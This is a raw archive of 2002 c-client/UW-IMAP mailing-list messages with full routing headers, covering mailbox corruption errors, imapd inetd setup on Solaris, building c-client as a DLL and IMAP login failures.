10:14:17 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHEHXG004315 for ; Fri, 24 May 2002 10:14:17 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri May 24 10:14:16 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OHEGGe013155; Fri, 24 May 2002 10:14:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHDklZ030108; Fri, 24 May 2002 10:13:46 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHB5w3072562 for ; Fri, 24 May 2002 10:11:05 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Fri May 24 10:11:04 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OHB39n017196 for ; Fri, 24 May 2002 10:11:04 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA06251; Fri, 24 May 2002 10:10:58 -0700 (PDT) Message-Id: Date: Fri, 24 May 2002 10:09:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rick Troxel Cc: c-client@u.washington.edu Subject: Re: Problem moving messages from new mbx folder In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The problem may not be in the INBOX but in some other file. Of more concern is the fact that "missing delimiter after message size" is not an error message in UW imapd. Are you using some third party driver? Or, if the user paraphrased the error message, what is the *exact* message? On Fri, 24 May 2002 08:05:56 -0400, Rick Troxel wrote: > Hmm. I can read a copy of INBOX with pine. Does this rule out the > possibility of corruption? > > Thanks, > > --rdt > > Yesterday (05/23/02) at 19:45 -0700, Mark Crispin wrote: > > MRC>> When I try to move messages I get the following error message: > MRC>> > MRC>> Your IMAP server wishes tom alert you to the following: IMAP4rev1 server > MRC>> crashing: missing delimiter after message size: \ > MRC> > MRC>This looks like a corrupted mbx format mailbox. Check the FAQ for > MRC>how to go about diagnosing and fixing it. From pinedev@shivax2.cac.washington.edu Fri May 24 10:16:16 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 10:16:16 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHGGXG004372 for ; Fri, 24 May 2002 10:16:16 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri May 24 10:16:15 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OHGEGe013209; Fri, 24 May 2002 10:16:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHFjeo083624; Fri, 24 May 2002 10:15:45 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OHDDw3009456 for ; Fri, 24 May 2002 10:13:13 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri May 24 10:13:13 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OHDBl3007813 for ; Fri, 24 May 2002 10:13:12 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA06257; Fri, 24 May 2002 10:13:05 -0700 (PDT) Message-Id: Date: Fri, 24 May 2002 10:11:11 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: yasela@mediasolv.com Cc: "c-client@u.washington.edu" Subject: re: IMAPD Max. Concurrent Connections. In-Reply-To: <3CEE30D6.C2357128@mediasolv.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 24 May 2002 18:23:50 +0600, Yasela Udawatte wrote: > What is the mximum number of concurrent connections can be handled by > imap ...? That limit is established by your operating system and [x]inetd listener. imapd itself has no limit. The traditional UNIX mailbox format only permits one concurrent session per mailbox, but other formats allow multiple sessions and there is no limit with these. From pinedev@shivax2.cac.washington.edu Fri May 24 11:10:43 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 11:10:43 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OIAhXG006449 for ; Fri, 24 May 2002 11:10:43 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri May 24 11:10:42 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OIAgGe014998; Fri, 24 May 2002 11:10:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OI9reo092080; Fri, 24 May 2002 11:09:54 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OI6tw3092968 for ; Fri, 24 May 2002 11:06:55 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Fri May 24 11:06:54 2002 -0700 Received: from helix.nih.gov (helix.nih.gov [128.231.2.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OI6rpl026025 for ; Fri, 24 May 2002 11:06:54 -0700 Received: from localhost (rick@localhost) by helix.nih.gov (8.11.6/8.11.6) with ESMTP id g4OI6qC18398875; Fri, 24 May 2002 14:06:52 -0400 (EDT) Message-Id: Date: Fri, 24 May 2002 14:06:52 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rick Troxel To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Problem moving messages from new mbx folder In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Today (05/24/02) at 10:09 -0700, Mark Crispin wrote: MRC>The problem may not be in the INBOX but in some other file. In the syslogs I see a second user has the same problem... MRC>Of more concern is the fact that "missing delimiter after message MRC>size" is not an error message in UW imapd. Are you using some third MRC>party driver? Or, if the user paraphrased the error message, what MRC>is the *exact* message? Good catch. The user's report was evidently case-insensitive. The system log reports IMAP toolkit slave process crash: Missing delimiter after message size: \ which corresponds to the imapd string, Missing delimiter after message size: %c Q. Could this trigger in trying to save from an mbx-format INBOX to a bsd-mail format folder? Many thanks, -- Rick Troxel rick@helix.nih.gov 301/435-2983 ///////////////////////////////////////////////////////////////// All effort and exertion put forth by man from the fullness of his heart is worship, if it is prompted by the highest motives and the will to do service to humanity. --Abdu'l-Baha From pinedev@shivax2.cac.washington.edu Fri May 24 11:21:02 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 May 2002 11:21:02 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OIL2XG006828 for ; Fri, 24 May 2002 11:21:02 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri May 24 11:21:01 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OIL0Ge015387; Fri, 24 May 2002 11:21:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OIKKeo083024; Fri, 24 May 2002 11:20:20 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4OIHKw3048572 for ; Fri, 24 May 2002 11:17:20 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Fri May 24 11:17:18 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4OIHHs6032463 for ; Fri, 24 May 2002 11:17:18 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id LAA06376; Fri, 24 May 2002 11:17:12 -0700 (PDT) Message-Id: Date: Fri, 24 May 2002 11:16:00 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rick Troxel Cc: c-client@u.washington.edu Subject: Re: Problem moving messages from new mbx folder In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Oh. You're running a SVR4 based system (you unfortunate fellow you). Try imap-2002 and see if the problem goes away. There's been problems in the SVR4 safe locking code. From pinedev@shivax2.cac.washington.edu Fri May 31 02:45:26 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 May 2002 02:45:26 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4V9jPo1027840 for ; Fri, 31 May 2002 02:45:25 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri May 31 02:45:24 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4V9jOBi028295 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 May 2002 02:45:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4V9inR8027020; Fri, 31 May 2002 02:44:49 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4V9b0w3016010 for ; Fri, 31 May 2002 02:37:00 -0700 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri May 31 02:36:59 2002 -0700 Received: from web21205.mail.yahoo.com (web21205.mail.yahoo.com [216.136.131.248]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4V9axKQ001123 for ; Fri, 31 May 2002 02:36:59 -0700 Received: from [172.145.169.74] by web21205.mail.yahoo.com via HTTP; Fri, 31 May 2002 02:36:59 PDT Message-Id: <20020531093659.89666.qmail@web21205.mail.yahoo.com> Date: Fri, 31 May 2002 02:36:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: thomas nehaus To: c-client@u.washington.edu Subject: Imapd not listening MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1327439183-1022837819=:89116" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --0-1327439183-1022837819=:89116 Content-Type: text/plain; charset=us-ascii Hi, I build imapd on solaris with gcc (gso in Makefile). the resulting imapd does not listen on any port. I get this when I run imapd: ./imapd * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] abc.def.edu IMAP4rev1 2001.315 at Fri, 31 May 2002 05:30:19 -0400 (EDT) Furthermore, if i run it with an & as ./imapd& i get a 'stopped' message on the prompt. imapd does not start from inetd though I have a valid entries in inetd.conf and /etc/services: imaps stream tcp nowait root /usr/local/bin/imapd imapd imap 143/tcp imap2 also if i leave it running on the foreground, it auto-logs out in a short while and i see this in syslog: ... [ID 957645 mail.info] Autologout user=??? host=UNKNOWN I don't know why it says host=UNKNOWN here. I use shadow passwords and nis. I have also downloaded the prcompiled binary for solaris and checked with that. I get the exact same results and symptoms. Can someone help? --tom --------------------------------- Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup --0-1327439183-1022837819=:89116 Content-Type: text/html; charset=us-ascii

    Hi,

    I build imapd on solaris with gcc (gso in Makefile). the resulting imapd does not listen on any port. I get this when I run imapd:

     ./imapd
    * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS AUTH=LOGIN] abc.def.edu IMAP4rev1 2001.315 at Fri, 31 May 2002 05:30:19 -0400 (EDT)

    Furthermore, if i run it with an & as ./imapd& i get a 'stopped' message on the prompt.

    imapd does not start from inetd though I have a valid entries in inetd.conf and /etc/services:

    imaps   stream  tcp     nowait  root    /usr/local/bin/imapd    imapd

    imap        143/tcp     imap2

    also if i leave it running on the foreground, it auto-logs out in a short while and i see this in syslog:

    ... [ID 957645 mail.info] Autologout user=??? host=UNKNOWN

    I don't know why it says host=UNKNOWN here.

    I use shadow passwords and nis.

    I have also downloaded the prcompiled binary for solaris and checked with that. I get the exact same results and symptoms.

    Can someone help?

     

    --tom


    Do You Yahoo!?
    Yahoo! - Official partner of 2002 FIFA World Cup --0-1327439183-1022837819=:89116-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 31 10:48:18 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 May 2002 10:48:18 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VHmIo1009426 for ; Fri, 31 May 2002 10:48:18 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri May 31 10:48:12 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4VHmABi007773 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 May 2002 10:48:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VHlZqt027764; Fri, 31 May 2002 10:47:35 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VHhtw3051058 for ; Fri, 31 May 2002 10:43:56 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Fri May 31 10:43:55 2002 -0700 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4VHhmKQ023038 for ; Fri, 31 May 2002 10:43:54 -0700 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id g4VHiOb11368; Fri, 31 May 2002 19:44:24 +0200 Message-Id: <3CF7B5DA.10505@fl.priv.at> Date: Fri, 31 May 2002 19:41:46 +0200 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: Imapd not listening References: <20020531093659.89666.qmail@web21205.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.49.5.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN thomas nehaus wrote: > > imapd does not start from inetd though I have a valid entries in > inetd.conf and /etc/services: > > imaps stream tcp nowait root /usr/local/bin/imapd imapd > > imap 143/tcp imap2 > Try this in /etc/inetd.conf imap stream tcp nowait.200 root /usr/sbin/tcpd imapd or imap stream tcp nowait.200 root /usr/local/bin/imapd imapd -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Fri May 31 11:52:25 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 May 2002 11:52:25 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VIqPo1011636 for ; Fri, 31 May 2002 11:52:25 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri May 31 11:52:23 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4VIqMBi010133 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 May 2002 11:52:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VIpjeo087586; Fri, 31 May 2002 11:51:45 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VImrw3008576 for ; Fri, 31 May 2002 11:48:53 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Fri May 31 11:48:52 2002 -0700 Received: from mail17.messagelabs.com (mail17.messagelabs.com [62.231.131.67]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VImpg4031411 for ; Fri, 31 May 2002 11:48:51 -0700 Received: (qmail 29119 invoked from network); 31 May 2002 18:48:50 -0000 Received: from unknown (HELO franklin.ima-inc.com) (63.97.213.2) by server-14.tower-17.messagelabs.com with SMTP; 31 May 2002 18:48:50 -0000 Received: by franklin.ima-inc.com with Internet Mail Service (5.5.2653.19) id ; Fri, 31 May 2002 11:47:40 -0700 Message-Id: Date: Fri, 31 May 2002 11:47:36 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Choweller To: "'c-client@u.washington.edu'" Subject: Creating a DLL from cclient.lib MIME-Version: 1.0 Content-Type: text/plain X-VirusChecked: Checked X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am attempting to create a dynamic library from cclient.lib. Has anyone done this before? Which libraries do I need to satisfy the references made by cclient.lib? ________________________________________________________________________ This email has been scanned for all viruses by the MessageLabs SkyScan service. For more information on a proactive anti-virus service working around the clock, around the globe, visit http://www.messagelabs.com ________________________________________________________________________ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 31 12:05:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 31 May 2002 12:05:32 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VJ5Wo1012162 for ; Fri, 31 May 2002 12:05:32 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri May 31 12:05:30 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4VJ5Usb012100 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 31 May 2002 12:05:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VJ4lR8067520; Fri, 31 May 2002 12:04:47 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g4VJ21w3035740 for ; Fri, 31 May 2002 12:02:01 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Fri May 31 12:02:00 2002 -0700 Received: from ts2.bynari.net (gw1.bynari.net [216.234.228.98]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g4VJ20hR012594 for ; Fri, 31 May 2002 12:02:00 -0700 Received: from ravms by ts2.bynari.net with mail-ok (Exim 3.33 #2) id 17DsRL-0008NL-00; Fri, 31 May 2002 14:51:59 -0500 Received: from i3-113.bynari.net ([192.168.3.113] helo=samadams.bynari.net) by ts2.bynari.net with esmtp (Exim 3.33 #2) id 17DsRL-0008NE-00; Fri, 31 May 2002 14:51:59 -0500 Message-Id: <1022871718.26299.19.camel@samadams.bynari.net> Date: 31 May 2002 14:01:57 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: David Choweller Cc: "'c-client@u.washington.edu'" Subject: Re: Creating a DLL from cclient.lib In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Envelope-To: David.Choweller@aitgroup.com, c-client@u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I converted c-client to a dll. It's really easy, but time consuming. I created a dll.h and put that in mail.h (at the top). For each function I want to export/import, I just add LINKDLL to the function. I have modified the makefiles so that I can create a shared and static library. The only other thing that I have done is to modify the code not call abort(), I just return NIL back to the caller and let the caller handle the error. It's frustrating the library cause a SIGABRT, I rather my application does it than the library. On Fri, 2002-05-31 at 13:47, David Choweller wrote: > I am attempting to create a dynamic library from cclient.lib. > > Has anyone done this before? Which libraries do I need to > satisfy the references made by cclient.lib? > > > ________________________________________________________________________ > This email has been scanned for all viruses by the MessageLabs SkyScan > service. For more information on a proactive anti-virus service working > around the clock, around the globe, visit http://www.messagelabs.com > ________________________________________________________________________ > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Sun Jun 2 10:36:08 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Jun 2002 10:36:08 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52Ha8o1020177 for ; Sun, 2 Jun 2002 10:36:08 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Sun Jun 02 10:36:07 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g52Ha6Bi001930 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Jun 2002 10:36:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52HZcqt013260; Sun, 2 Jun 2002 10:35:38 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52HVKw3076936 for ; Sun, 2 Jun 2002 10:31:20 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Sun Jun 02 10:31:20 2002 -0700 Received: from hotmail.com (f84.law9.hotmail.com [64.4.9.84]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g52HVKg4013751 for ; Sun, 2 Jun 2002 10:31:20 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 2 Jun 2002 10:31:19 -0700 Received: from 63.231.109.142 by lw9fd.law9.hotmail.msn.com with HTTP; Sun, 02 Jun 2002 17:31:19 GMT Message-Id: Date: Sun, 02 Jun 2002 11:31:19 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrew Ziem" To: c-client@u.washington.edu Subject: IMAP clients report no messages or error Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [63.231.109.142] X-OriginalArrivalTime: 02 Jun 2002 17:31:19.0888 (UTC) FILETIME=[4EB98D00:01C20A5B] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just installed the new UW IMAP server. I run Linux Mandrake 8.1. My mail clients (KMail, Netscape, and Squirrelmail) either report that there are no messages or that there is an error. For example, Squirrelmail says that LOGIN is unsupported. Netscape says there are no messages. I tried the prebuilt imap-bin.linux-redhat build from UW's ftp and also built my own, and both give the same results. According to the recommendation in the IMAP FAQ, I have looked, and there is mail in the file /var/mail/spool/andrew for the account I'm interested in. It's also valid. The first few bytes read "From..." Is my imapd built with the wrong options (the wrong authentican method), or is it looking in the wrong place for the mail, or is postfix putting the mail in the wrong place? Do I need to worry about different kinds of mailboxes? When I telnet to the server (telnet localhost 143), shouldn't I be able to type "a001 login andrew password"? I tried that, and the server responds "a001 BAD Command unrecognized: LOGIN." Andy Is Jesus Christ the Answer? Find out! http://www.christiananswers.net/gospel/index.html _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 2 10:50:03 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Jun 2002 10:50:03 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52Ho3o1020408 for ; Sun, 2 Jun 2002 10:50:03 -0700 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Sun Jun 02 10:50:02 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g52Ho1Bi002171 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 2 Jun 2002 10:50:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52HnblZ016146; Sun, 2 Jun 2002 10:49:37 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g52Hl3w3080870 for ; Sun, 2 Jun 2002 10:47:03 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Sun Jun 02 10:47:02 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g52Hl1KQ007377 for ; Sun, 2 Jun 